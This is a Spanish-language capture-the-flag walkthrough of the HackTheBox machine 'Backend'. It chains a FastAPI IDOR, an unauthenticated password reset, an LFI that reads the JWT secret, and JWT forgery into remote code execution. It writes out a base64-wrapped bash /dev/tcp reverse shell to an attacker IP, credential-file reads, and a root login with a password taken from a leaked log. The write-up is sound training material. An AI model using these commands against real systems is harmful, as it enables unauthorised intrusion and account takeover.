the_open_door
café
ESEN

Backend

HackTheBoxMediaLinux10.10.11.161

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#api#fastapi#idor#jwt#jwt-forgery#lfi#rce#information-disclosure#reverse-shell
TL;DR. Backend es una caja Linux centrada en el abuso de una API FastAPI. Enumeramos endpoints, leemos datos del admin por IDOR (su GUID), nos registramos para conseguir un token con el que leer el esquema y descubrimos /updatepass, un endpoint sin autenticación que sobrescribe la contraseña de cualquier usuario a partir de su GUID. Como admin leemos ficheros con un LFI autenticado, recuperamos la clave de firma del JWT del código fuente y forjamos un token con debug:true (JWT forgery) que habilita /admin/exec para RCE. Ya dentro, una contraseña filtrada en el log de la propia aplicación da el root.

Reconocimiento

Escaneo inicial

ping -c 1 10.10.11.161

ping a 10.10.11.161 con ttl=63

64 bytes from 10.10.11.161: icmp_seq=1 ttl=63 time=97.3 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

El barrido UDP sobre los 100 puertos más comunes no devuelve nada:

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.11.161 | grep -v 'no-response'

escaneo UDP sin puertos abiertos

Not shown: 6 closed udp ports (port-unreach)
PORT      STATE           SERVICE       REASON

Nmap done: 1 IP address (1 host up) scanned in 1.10 seconds

La tabla sale vacía, pero conviene leer bien la línea de arriba: de los 100 puertos sondeados solo 6 respondieron con un port-unreach que los declare cerrados. Los otros 94 se quedaron en no-response, que en UDP significa "abierto o filtrado, no lo sé". Un UDP vacío nunca es una descarta, es un "aquí no merece la pena insistir ahora".

El TCP completo, en cambio, es tajante:

nmap -sS -n -Pn -p- --min-rate 5000 --open 10.10.11.161

escaneo TCP completo con los puertos 22 y 80 abiertos y syn-ack ttl 63

Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

extractPorts recoge el resultado del escaneo, lo deja en el portapapeles y además lo guarda en un extractPorts.tmp al que volver luego:

extractPorts scan

extractPorts leyendo el fichero scan de Backend, devolviendo IP Address 10.10.11.161 y Open ports 22,80, y el extractPorts.tmp con esas mismas dos líneas

Extracting information ...

    IP Address: 10.10.11.161
    Open ports: 22,80

Ports copied to clipboard

File: extractPorts.tmp
1  IP Address: 10.10.11.161
2  Open ports: 22,80

Dos puertos en 65535, y la columna REASON repite el ttl 63 del ping, esta vez sobre paquetes TCP. Vamos a por las versiones:

nmap -p22,80 -sCV 10.10.11.161

nmap -sCV identificando OpenSSH 8.2p1 Ubuntu y Uvicorn, con http-title indicando application/json

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open  http    Uvicorn
|_http-server-header: uvicorn
|_http-title: Site doesn't have a title (application/json).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 sitúa la caja en Ubuntu 20.04, pero lo interesante está dos líneas más abajo. El script http-title no encuentra título y lo justifica: (application/json). Nmap acaba de decirnos, antes de abrir el navegador, que el puerto 80 no sirve HTML: sirve JSON. Ahí no hay una web con formularios y directorios, hay una API, y eso cambia toda la metodología que viene después.

HTTP - TCP 80: una API, no una web

whatweb confirma lo poco que hay:

whatweb http://10.10.11.161

whatweb devolviendo solo el HTTPServer uvicorn, sin título ni framework

http://10.10.11.161 [200 OK] Country[RESERVED][ZZ], HTTPServer[uvicorn], IP[10.10.11.161]

Ni Title[], ni Script[], ni cookies, ni cabeceras de framework. Solo HTTPServer[uvicorn]. En una web normal esta salida ocuparía diez líneas; que quepa en una es en sí mismo el hallazgo.

Uvicorn es un servidor ASGI de Python, el que se usa por defecto para desplegar FastAPI y Starlette. En el navegador se ve la raíz de la API y Wappalyzer no aporta nada que no supiéramos:

el navegador muestra {"msg":"UHC API Version 1.0"} y Wappalyzer detecta Uvicorn y Python

{"msg":"UHC API Version 1.0"}

Un escaneo de rutas termina de dibujar el mapa:

dirsearch -u http://10.10.11.161/ --exclude-status=403,404

dirsearch encontrando /api y /api/v1 con 200 y /docs y /openapi.json con 401

[13:13:36] 200 -   20B  - /api
[13:13:36] 307 -    0B  - /api/    ->  http://10.10.11.161/api
[13:13:37] 200 -   30B  - /api/v1
[13:13:37] 307 -    0B  - /api/v1/ ->  http://10.10.11.161/api/v1
[13:14:01] 401 -   30B  - /docs
[13:14:01] 307 -    0B  - /docs/   ->  http://10.10.11.161/docs
[13:14:37] 401 -   30B  - /openapi.json

Cuatro rutas y dos códigos que cuentan historias distintas. /api y /api/v1 responden 200 sin pedir nada. /docs y /openapi.json responden 401, no 404: existen, pero exigen autenticación. Esa diferencia es una invitación bastante clara, porque /openapi.json es la especificación completa de la API, el índice de todo lo que se puede llamar. Conseguir un token cualquiera, aunque sea de un usuario sin privilegios, valdrá el mapa entero.

Enumeración de la API

Recorrer la jerarquía: IDOR en /api/v1/user/1

Sin documentación, la API se explora a mano, tirando del hilo de lo que cada respuesta sugiere:

curl -s http://10.10.11.161/api
curl -s http://10.10.11.161/api/v1
curl -s http://10.10.11.161/api/v1/user
curl -s http://10.10.11.161/api/v1/user/a
curl -s http://10.10.11.161/api/v1/user/1 | jq

las respuestas encadenadas de la API, terminando en el registro completo del usuario 1 con su GUID

{"endpoints":["v1"]}
{"endpoints":["user","admin"]}
{"detail":"Not Found"}
{"detail":[{"loc":["path","user_id"],"msg":"value is not a valid integer","type":"type_error.integer"}]}
{
  "guid": "36c2e94a-4271-4259-93bf-c96ad5948284",
  "email": "admin@htb.local",
  "date": null,
  "time_created": 1649533388111,
  "is_superuser": true,
  "id": 1
}

La cadena se explica sola. La API va anunciando sus propios hijos (v1, luego user y admin). /api/v1/user a secas devuelve Not Found, así que no es un listado. Y al probar /api/v1/user/a la respuesta no es un error genérico: FastAPI contesta que user_id no es un entero válido. Acaba de revelarnos el nombre del parámetro y su tipo. Probamos con el entero más obvio, 1, y sale el primer usuario creado en la base de datos.

/api/v1/user/1 filtra, sin ninguna autenticación, el registro del administrador: es un IDOR de manual, un identificador secuencial que nadie comprueba que te pertenezca. El correo (admin@htb.local) y el is_superuser: true ya son útiles, pero lo valioso es el guid:

36c2e94a-4271-4259-93bf-c96ad5948284

Un GUID parece inofensivo, un identificador interno más. Lo apuntamos sin saber todavía para qué sirve, y esa es precisamente la lección de esta caja.

Fuzzing de endpoints: el 422 como oráculo

Bajo /api/v1/user/ puede haber más rutas además del {user_id}. Fuzzeamos:

wfuzz -u 'http://10.10.11.161/api/v1/user/FUZZ' -X POST -w /path/to/common.txt --hh=31,22 -t 500

wfuzz devolviendo 422 para login y signup

ID            Response   Lines    Word     Chars       Payload
000001044:    307        0 L      0 W      0 Ch        "cgi-bin/"
000002524:    422        0 L      3 W      172 Ch      "login"
000003816:    422        0 L      2 W      81 Ch       "signup"

Dos aciertos, y ninguno devuelve 200. Ese 422 Unprocessable Entity es la clave: en FastAPI, un 422 significa "la ruta existe y el método es correcto, pero el cuerpo que me has mandado no pasa la validación". Es decir, un 422 es un acierto, no un fallo. Por eso el fuzzing va con -X POST (los endpoints de una API rara vez responden a GET) y por eso el filtro --hh descarta por longitud de respuesta en vez de por código: aquí filtrar por "solo 200" habría dejado la pantalla en blanco.

Quedan localizados login y signup.

Registro e inicio de sesión: los errores dictan el esquema

No sabemos qué campos espera signup, pero no hace falta adivinarlos. Basta con preguntar mal y leer la queja:

curl -X POST -s http://10.10.11.161/api/v1/user/signup | jq
curl -X POST -s http://10.10.11.161/api/v1/user/signup -H "content-type: application/json" -d '{"example":"example"}' | jq
curl -X POST -s http://10.10.11.161/api/v1/user/signup -H "content-type: application/json" -d '{"email":"kmn9@htb.local","password":"1234"}' | jq

la secuencia de errores de validación de FastAPI revelando que signup pide email y password

// 1. Sin cuerpo: solo sabe que falta el body
{"detail":[{"loc":["body"],"msg":"field required","type":"value_error.missing"}]}

// 2. Con un JSON cualquiera: FastAPI enumera los campos que faltan
{"detail":[{"loc":["body","email"],"msg":"field required","type":"value_error.missing"},
           {"loc":["body","password"],"msg":"field required","type":"value_error.missing"}]}

// 3. Con los campos correctos
{}

Esta escalera merece que nos detengamos, porque se repite tres veces a lo largo de la caja. FastAPI valida los cuerpos con Pydantic, y cuando la validación falla devuelve la lista de campos que faltan, con su ruta exacta (["body","email"]). Mandar basura deliberadamente convierte el mensaje de error en documentación: no adivinamos el esquema, se lo sacamos al servidor él solito. Es cómodo para el desarrollador y regalado para el atacante (divulgación de información en APIs).

El {} de la tercera petición confirma el registro. El login, en cambio, no acepta JSON:

el login en JSON falla pidiendo username y password, y en form-urlencoded devuelve el JWT

# JSON  ->  el endpoint rechaza el cuerpo
{"detail":[{"loc":["body","username"],"msg":"field required","type":"value_error.missing"},
           {"loc":["body","password"],"msg":"field required","type":"value_error.missing"}]}

Fijémonos en el detalle: pide username, no email. Es la firma de OAuth2PasswordRequestForm, el helper estándar de FastAPI, que por especificación viaja como formulario y llama username al campo de identificación aunque el valor sea un correo. Sin -H content-type, curl ya manda application/x-www-form-urlencoded:

curl -X POST -s http://10.10.11.161/api/v1/user/login -d 'username=kmn9@htb.local&password=1234'
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...","token_type":"bearer"}

Ya tenemos un JWT de usuario raso. Con él vamos directos a lo que valía el 401.

El esquema completo: openapi.json

curl -X POST -s http://10.10.11.161/openapi.json -H "Authorization: Bearer <jwt>"
curl -X GET  -s http://10.10.11.161/openapi.json -H "Authorization: Bearer <jwt>" | jq

el POST devuelve Method Not Allowed y el GET la especificación OpenAPI 3.0.2 completa

{"detail":"Method Not Allowed"}
{
  "openapi": "3.0.2",
  "info": { "title": "FastAPI", "version": "0.1.0" },
  "paths": { "/": { "get": { "summary": "Root", ... } } }
}

El Method Not Allowed del primer intento es un recordatorio barato de que un endpoint es la pareja ruta + verbo, no solo la ruta. Con GET sale la especificación entera. La filtramos por las rutas de la API:

curl -X GET -s http://10.10.11.161/openapi.json -H "Authorization: Bearer <jwt>" | jq | grep '/api/v1'

openapi.json filtrado revelando updatepass, admin/file y admin/exec

"/api/v1": {
"/api/v1/user/{user_id}": {
"/api/v1/user/login": {
"/api/v1/user/signup": {
"/api/v1/user/SecretFlagEndpoint": {
"/api/v1/user/updatepass": {
"/api/v1/admin/": {
"/api/v1/admin/file": {
"/api/v1/admin/exec/{command}": {
        "tokenUrl": "/api/v1/user/login"

Nueve rutas, y tres de ellas no las habría encontrado ningún diccionario: SecretFlagEndpoint, admin/file y admin/exec/{command}. Ese es el valor real de haberse registrado. /admin/exec/{command} es ejecución de comandos servida en bandeja y /admin/file huele a lectura de ficheros, pero ambas cuelgan de /admin y nosotros somos un usuario cualquiera. El que sí está bajo /user, al alcance de nuestra cuenta, es /user/updatepass.

Toma de la cuenta admin

El esquema de /updatepass

La especificación no solo lista rutas: describe cada cuerpo. Miramos qué pide updatepass:

curl -X GET -s http://10.10.11.161/openapi.json -H "Authorization: Bearer <jwt>" | jq | grep '/api/v1/user/updatepass' -A 15

la definición de updatepass apuntando al esquema UserPWUpdate

"/api/v1/user/updatepass": {
  "post": {
    "tags": ["user"],
    "summary": "Update Password",
    "description": "Update a user password",
    "operationId": "update_password_api_v1_user_updatepass_post",
    "requestBody": {
      "content": { "application/json": {
        "schema": { "$ref": "#/components/schemas/UserPWUpdate" }
      } }
    }
  }
}

El $ref remite al esquema UserPWUpdate, que también viene en el mismo documento:

curl -X GET -s http://10.10.11.161/openapi.json -H "Authorization: Bearer <jwt>" | jq | grep '"UserPWUpdate"' -A 15

el esquema UserPWUpdate exigiendo únicamente guid y password

"UserPWUpdate": {
  "title": "UserPWUpdate",
  "required": ["guid", "password"],
  "type": "object",
  "properties": {
    "guid":     { "title": "Guid",     "type": "string" },
    "password": { "title": "Password", "type": "string" }
  }
}

Ahí está el fallo de diseño, escrito por la propia aplicación. Para cambiar una contraseña se exigen exactamente dos cosas: un guid y la contraseña nueva. No se pide la contraseña actual, y el usuario sobre el que se actúa se identifica por un valor que viaja en el cuerpo, no por la sesión de quien llama.

Y nosotros tenemos un guid desde el reconocimiento: el del administrador, servido por el IDOR de /api/v1/user/1.

Sobrescribir la contraseña del admin

curl -X POST -s http://10.10.11.161/api/v1/user/updatepass -H "content-type: application/json" -d '{"guid":"36c2e94a-4271-4259-93bf-c96ad5948284","password":"1234"}'

la respuesta de updatepass devolviendo el registro completo del admin, incluido su hash bcrypt

{"date":null,"id":1,"is_superuser":true,
 "hashed_password":"$2b$12$uv1Ao/KHVrtpE6n.nar2B.CC41fFtJ6Xk475ur/1Ooe3P7egRR7UK",
 "guid":"36c2e94a-4271-4259-93bf-c96ad5948284","email":"admin@htb.local",
 "time_created":1649533388111,"last_update":null}

Dos cosas que merece la pena mirar dos veces.

La primera está en el comando, en lo que no aparece: no lleva cabecera Authorization. Ni un token, ni el nuestro ni ninguno. El endpoint acepta la petición de un anónimo y cambia la contraseña del superusuario. El registro nos hizo falta para descubrir /updatepass leyendo openapi.json, pero no para usarlo.

La segunda está en la respuesta: la API devuelve el objeto de usuario completo, con el hashed_password dentro. Es un bcrypt con coste 12, así que reventarlo no es realista, pero eso no lo excusa: un endpoint que devuelve hashes de contraseña es una fuga sin ninguna contrapartida. Aquí, además, es redundante, porque la contraseña acabamos de elegirla nosotros.

Comprobamos que el cambio ha surtido efecto:

curl -X POST -s http://10.10.11.161/api/v1/user/login -d 'username=admin@htb.local&password=1234'

login como admin con la contraseña sobrescrita, devolviendo un JWT

{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzY1MDU0OTEwLCJpYXQiOjE3NjQzNjM3MTAsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOi...","token_type":"bearer"}

Decodificando el payload (la parte central, base64url) aparecen "sub":"1" y "is_superuser":true. Somos administradores de la API.

/admin/exec: "Debug key missing from JWT"

Con el token de superusuario, lo primero es probar el endpoint que da RCE directa:

curl -s http://10.10.11.161/api/v1/admin/exec/whoami -H "Authorization: Bearer <jwt-admin>"

el endpoint exec rechaza el token de admin con "Debug key missing from JWT"

{"detail":"Debug key missing from JWT"}

Y aquí se acaba el camino fácil. is_superuser no basta: /admin/exec exige además una clave debug dentro del token, un segundo control pensado para que la ejecución de comandos solo esté viva mientras alguien depura.

Es un mensaje de error muy generoso, porque no dice "prohibido", dice exactamente qué falta. Y no podemos limitarnos a añadir "debug": true al payload y reenviarlo: tocar un JWT invalida su firma. O encontramos la clave con la que el servidor firma, o esto no se mueve de aquí.

El otro endpoint de admin sigue disponible, y ahora tiene un objetivo concreto: /admin/file lee ficheros, y la clave de firma vive en algún fichero.

RCE: forjar un JWT privilegiado

LFI autenticado

Repetimos la técnica de los errores para averiguar qué espera /admin/file:

curl -X POST -s http://10.10.11.161/api/v1/admin/file -H "Authorization: Bearer <jwt-admin>"
curl -X POST -s ... -H "content-type: application/json" -d '{"example":"example"}'
curl -X POST -s ... -H "content-type: application/json" -d '{"file":"/etc/passwd"}'

los errores de validación revelan el campo file, y /etc/passwd se lee entero

{"detail":[{"loc":["body"],"msg":"field required","type":"value_error.missing"}]}
{"detail":[{"loc":["body","file"],"msg":"field required","type":"value_error.missing"}]}
{"file":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\nhtb:x:1000:1000::/home/htb:/bin/bash\n"}

El segundo error nos regala el nombre del campo (file) y el tercero devuelve /etc/passwd entero: un LFI sin filtro ninguno, con ruta absoluta y sin necesidad de ../. Al final del fichero, htb:x:1000:1000::/home/htb:/bin/bash, el único usuario real de la máquina.

Con un usuario, un LFI y el puerto 22 abierto, el atajo evidente es su clave privada:

curl -X POST -s ... -d '{"file":"/home/htb/.ssh/id_rsa"}'
curl -X POST -s ... -d '{"file":"/home/htb/user.txt"}'

id_rsa devuelve Internal Server Error mientras que user.txt devuelve la flag

Internal Server Error
{"file":"2783bb25dced850aa5c6ff04e4c06ec3\n"}

El id_rsa no existe (o no es legible), y el LFI no distingue entre esos dos casos: cualquier fallo al abrir revienta con un 500. Se cierra la vía rápida por SSH.

A cambio, la segunda petición deja algo curioso: la flag de usuario se lee aquí, sin shell, sin RCE, solo leyendo un fichero. La flag no es el objetivo real de la caja, pero sirve para medir el impacto de un LFI arbitrario: si puede leer user.txt, puede leer cualquier cosa que el proceso tenga permiso de abrir.

Del proceso al código fuente

Sabemos que hay una clave de firma en algún sitio y que podemos leer ficheros, pero no dónde está desplegada la aplicación. En vez de adivinar rutas, se lo preguntamos al propio proceso a través de /proc/self:

curl -X POST -s ... -d '{"file":"/proc/self/cmdline"}' | jq
curl -X POST -s ... -d '{"file":"/proc/self/environ"}' | jq
curl -X POST -s ... -d '{"file":"/home/htb/uhc/app/main.py"}' | jq

/proc/self/environ revelando APP_MODULE y PWD, y main.py leído a continuación

# /proc/self/cmdline
/home/htb/uhc/.venv/bin/python3\0-c\0from multiprocessing.spawn import spawn_main; ...

# /proc/self/environ
APP_MODULE=app.main:app\0PWD=/home/htb/uhc\0LOGNAME=htb\0PORT=80\0HOME=/home/htb\0
LANG=C.UTF-8\0VIRTUAL_ENV=/home/htb/uhc/.venv\0HOST=0.0.0.0\0USER=htb\0
PATH=/home/htb/uhc/.venv/bin:/usr/local/sbin:...\0

Dos variables resuelven el problema. PWD=/home/htb/uhc dice desde dónde se lanzó el servicio y APP_MODULE=app.main:app dice qué módulo carga Uvicorn, en notación Python: paquete app, módulo main, objeto app. Traducido a ruta, app.main es app/main.py colgando del directorio de trabajo:

/home/htb/uhc  +  app/main.py  ->  /home/htb/uhc/app/main.py

No es adivinar, es leer. Y funciona:

curl -X POST -s ... -d '{"file":"/home/htb/uhc/app/main.py"}' | jq '.file' -r > main.py
cat -l py main.py

main.py con el import de app.core.config resaltado

from fastapi import FastAPI, APIRouter, Query, HTTPException, Request, Depends
from fastapi.openapi.docs import get_swagger_ui_html
from app.schemas.user import User
from app.api.v1.api import api_router
from app.core.config import settings
from app import deps
from app import crud

app = FastAPI(title="UHC API Quals", openapi_url=None, docs_url=None, redoc_url=None)
root_router = APIRouter(default_response_class=UJSONResponse)

Dos lecturas de este fragmento.

La primera resuelve el 401 que vimos en el reconocimiento. FastAPI(...) se instancia con openapi_url=None y docs_url=None, es decir, la documentación automática está desactivada. Pero el desarrollador la volvió a montar a mano más abajo, con una dependencia que exige token. Por eso /openapi.json respondía 401 y no 404: el endpoint existía, solo estaba protegido, y esa protección se cae en cuanto cualquiera puede registrarse.

La segunda es el hilo que buscábamos: from app.core.config import settings. La configuración vive en app/core/config.py, y ahí es donde suele acabar una clave de firma.

La clave de firma

curl -X POST -s ... -d '{"file":"/home/htb/uhc/app/core/config.py"}' | jq '.file' -r > config.py
cat -l py config.py

config.py con JWT_SECRET en claro

class Settings(BaseSettings):
    API_V1_STR: str = "/api/v1"
    JWT_SECRET: str = "SuperSecretSigningKey-HTB"
    ALGORITHM: str = "HS256"

    # 60 minutes * 24 hours * 8 days = 8 days
    ACCESS_TOKEN_EXPIRE_MINUTES: int = 60 * 24 * 8

La clave de firma, en claro, en el repositorio: SuperSecretSigningKey-HTB. Y con ella el algoritmo, HS256, que es simétrico: la misma cadena que firma es la que verifica. Quien la lee no obtiene la capacidad de comprobar tokens, obtiene la de emitirlos (credenciales en el código fuente).

Firmar un token con debug:true

Ya tenemos las dos piezas: sabemos qué falta (debug) y con qué firmar. jwt_tool (repo) hace las dos cosas en un paso, con -T para editar el payload y -S hs256 -p para refirmar:

python3 jwt_tool.py '<jwt-admin>' -T -S hs256 -p 'SuperSecretSigningKey-HTB'

jwt_tool en modo tamper mostrando la cabecera HS256 y el payload del token

Token header values:
[1] alg = "HS256"
[2] typ = "JWT"

Token payload values:
[1] type = "access_token"
[2] exp = 1765054910   ==> TIMESTAMP = 2025-12-06 21:01:50 (UTC)
[3] iat = 1764363710   ==> TIMESTAMP = 2025-11-28 21:01:50 (UTC)
[4] sub = "1"
[5] is_superuser = True

Añadimos la clave que pedía el error, con la opción *ADD A VALUE*:

jwt_tool añadiendo debug=true al payload y devolviendo el token refirmado

[6] guid = "36c2e94a-4271-4259-93bf-c96ad5948284"
[7] *ADD A VALUE*
> 7
Please enter new Key and hit ENTER
> debug
Please enter new value for debug and hit ENTER
> true

[7] debug = True

jwttool_c7a9bd31cfe220541128c9f3b908c571 - Tampered token - HMAC Signing:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoi...LjkZWJ1ZyI6dHJ1ZX0.24sWIEDhbh9soeJgsyhqWuV9ALohaRIE7lWuAQ0PcGU

HMAC Signing es la parte que importa: no ha manipulado la firma para engañar a nadie, ha calculado la firma correcta para el nuevo contenido usando la clave legítima del servidor. Para la API este token es indistinguible de uno que ella misma hubiera emitido, porque criptográficamente lo es.

curl -s http://10.10.11.161/api/v1/admin/exec/whoami -H "Authorization: Bearer <token-forjado>"

el token forjado pasa el control y whoami devuelve htb

"htb"

Esto es un JWT forgery de libro. La lección no es que HS256 sea inseguro, sino que un JWT solo vale lo que valga el secreto de su firma: en el momento en que la clave se puede leer, todas las afirmaciones del token pasan a estar bajo control del atacante, incluidas las que el desarrollador consideraba internas.

Acceso inicial

Reverse shell

/admin/exec recibe el comando en la URL, así que los espacios y los caracteres especiales son un problema. La solución estándar: meter la carga en base64, que solo usa caracteres seguros, y decodificarla en destino.

Antes de dispararla contra la caja, la probamos en local. Es un hábito que ahorra ratos muertos delante de un listener silencioso, porque separa "el payload está mal" de "el payload no llega":

echo -n "/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.6/4444 0>&1'" | base64
echo 'L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjYvNDQ0NCAwPiYxJw==' | base64 -d | bash

el payload probado en local devuelve una shell desde la propia Kali

[+] Listening for reverse shells on 0.0.0.0:4444
[+] Got reverse shell from kali~10.10.16.6-Linux-x86_64  Assigned SessionID <1>

La shell llega desde nuestra propia Kali: la cadena funciona. Ahora sí, la mandamos por la URL, con el | codificado como %7C y los espacios como %20:

curl -s 'http://10.10.11.161/api/v1/admin/exec/echo%20<b64>%7Cbase64%20-d%7Cbash' -H "Authorization: Bearer <token-forjado>"

reverse shell recibida desde backend como el usuario htb

[+] Got reverse shell from backend~10.10.11.161-Linux-x86_64  Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /home/htb/uhc/.venv/bin/python3!
htb@backend:~/uhc$ whoami
htb

Shell como htb, y con un detalle que ahorra trabajo: el TTY se estabiliza con el Python del propio virtualenv de la aplicación, /home/htb/uhc/.venv/bin/python3. La shell aterriza directamente en ~/uhc, el directorio de la API.

flag de usuario

htb@backend:~/uhc$ cat /home/htb/user.txt
2783bb25dced850aa5c6ff04e4c06ec3

Escalada de privilegios

Contraseña filtrada en auth.log

El primer sitio donde mirar es el directorio en el que hemos caído, porque es el de la aplicación que acabamos de comprometer:

ls -l ~/uhc
cat auth.log

el listado de ~/uhc con auth.log y uhc.db, y el contenido del log con una contraseña en el campo de usuario

htb@backend:~/uhc$ ls -l
total 76
drwxrwxr-x 1 htb htb    90 Apr  6  2022 alembic
drwxrwxr-x 1 htb htb   218 Apr 10  2022 app
-rw-r--r-- 1 htb htb  1294 Nov 28 21:01 auth.log
-rwxrwxr-x 1 htb htb   127 Apr  6  2022 builddb.sh
-rw-rw-r-- 1 htb htb  2750 Apr 10  2022 populateauth.py
-rwxrwxr-x 1 htb htb   171 Apr  6  2022 prestart.sh
-rwxrwxr-x 1 htb htb   241 Apr 10  2022 run.sh
-rw-r--r-- 1 htb htb 24576 Nov 28 20:58 uhc.db

Ese auth.log no es el del sistema. No está en /var/log, está en el directorio de la aplicación, junto a uhc.db y a un populateauth.py que lo alimenta: es un registro que la propia API escribe cada vez que alguien intenta entrar. Y su fecha de modificación es de hace unos minutos, la de nuestros propios intentos.

11/28/2025, 15:57:54 - Login Success for admin@htb.local
11/28/2025, 16:01:14 - Login Success for admin@htb.local
11/28/2025, 16:14:34 - Login Success for admin@htb.local
...
11/28/2025, 16:56:14 - Login Success for admin@htb.local
11/28/2025, 17:04:34 - Login Failure for Tr0ub4dor&3
11/28/2025, 17:06:09 - Login Success for admin@htb.local

Decenas de líneas idénticas y una que rompe el patrón. Donde todas las demás llevan un correo, la del Login Failure lleva Tr0ub4dor&3, que no es ningún correo: es una contraseña. Alguien se equivocó de campo al teclear, escribió la contraseña donde iba el usuario, el login falló y la aplicación registró diligentemente el intento con el valor introducido.

Ese es el fallo, y tiene dos capas. La primera es que la aplicación registra el identificador tecleado tal cual, sin sanear, así que un desliz del usuario acaba en disco en claro. La segunda es que el log queda en el directorio de la API, legible por la misma cuenta que sirve la web, es decir, por cualquiera que consiga RCE.

Probamos la contraseña contra root (reutilización de credenciales):

su root

su root aceptado y la flag de root

htb@backend:~/uhc$ su root
Password:
root@backend:/home/htb/uhc# cat /root/root.txt
3ba77407d66b850f0f776157f58a86e7

Cadena de ataque

HTTP/API FastAPI  (nmap: http-title -> application/json)
   │ IDOR en /api/v1/user/1  -> GUID del admin
   ▼
signup + login  -> JWT de usuario raso
   │ /openapi.json (401 sin token) -> esquema completo -> /user/updatepass
   ▼
POST /user/updatepass con el GUID  (sin autenticación)  -> contraseña del admin sobrescrita
   │ login como admin -> JWT con is_superuser
   ▼
/admin/exec -> "Debug key missing from JWT"   (callejón)
   │
   ▼
/admin/file (LFI) -> /proc/self/environ -> main.py -> config.py -> JWT_SECRET
   │ jwt_tool: token refirmado con debug:true  (JWT forgery)
   ▼
/admin/exec -> RCE -> reverse shell como htb -> user.txt
   │ contraseña en el auth.log de la propia aplicación
   ▼
su root -> root.txt

Lecciones aprendidas

  • Los mensajes de error de una API son documentación. FastAPI responde a un cuerpo inválido con la lista exacta de campos que faltan, y a una ruta existente con un 422 en vez de un 404. Enumerar pasa a ser un diálogo: se pregunta mal a propósito y el servidor va corrigiendo. Devolver errores genéricos cuesta poco y ciega esa vía.
  • Un IDOR no es "solo" lectura. Filtrar el GUID del admin parecía menor, pero ese identificador era la única credencial que /updatepass pedía para autorizar el cambio. La autorización se comprueba contra la sesión de quien llama, nunca contra un identificador que viaja en el cuerpo y que el propio atacante controla.
  • Nunca guardes la clave de firma del JWT en el código. Con SuperSecretSigningKey-HTB en config.py y un LFI para leerlo, el atacante deja de estar limitado a los claims que el servidor le dio: emite los suyos. En HS256 la clave que verifica es la misma que firma, así que leerla equivale a poder emitir. Las claves van en variables de entorno o en un gestor de secretos.
  • /proc/self/environ y /proc/self/cmdline son oro tras un LFI. APP_MODULE y PWD convirtieron "no sé dónde está desplegada la app" en una ruta exacta sin una sola conjetura. Son el puente entre "leo /etc/passwd" y "leo el código que me da las claves".
  • Los logs de aplicación filtran secretos. Un usuario que teclea la contraseña en el campo del nombre la deja escrita en claro para siempre. Los registros de autenticación no deberían guardar el identificador tal cual, no deberían vivir en un directorio legible por el proceso web, y desde luego una contraseña de aplicación no debería servir también para el root del sistema (reutilización de credenciales).
Cheatsheet de comandos 19 comandos

Repaso rápido